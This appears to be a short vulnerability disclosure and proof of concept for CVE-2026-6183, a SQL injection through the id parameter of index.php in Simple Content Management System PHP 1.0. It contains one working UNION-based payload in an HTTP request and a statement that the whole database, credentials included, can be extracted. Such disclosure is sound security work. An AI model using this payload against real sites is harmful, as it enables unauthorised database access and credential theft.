xmyronn/cve-2026-6183-sqliProof-of-concept exploit for SQL injection in Simple Content Management System PHP, demonstrating UNION-based data extraction via the id parameter in index.php.
A SQL Injection vulnerability exists in Simple Content Management
System PHP. The id parameter in index.php is not sanitized
before being passed to the SQL query, allowing an unauthenticated
attacker to extract sensitive data from the database including
database names, tables, and credentials.
/web/index.phpidcode-projects.org
Simple Content Management System PHP
1.0
GET /web/index.php?id=1 UNION SELECT 1,database(),3-- - HTTP/1.1
Host: [target]
Database name is reflected on the page confirming SQL Injection.
An unauthenticated remote attacker can extract the entire database including credentials, user data, and all stored content using UNION-based SQL injection via the id parameter.
Imad Alvi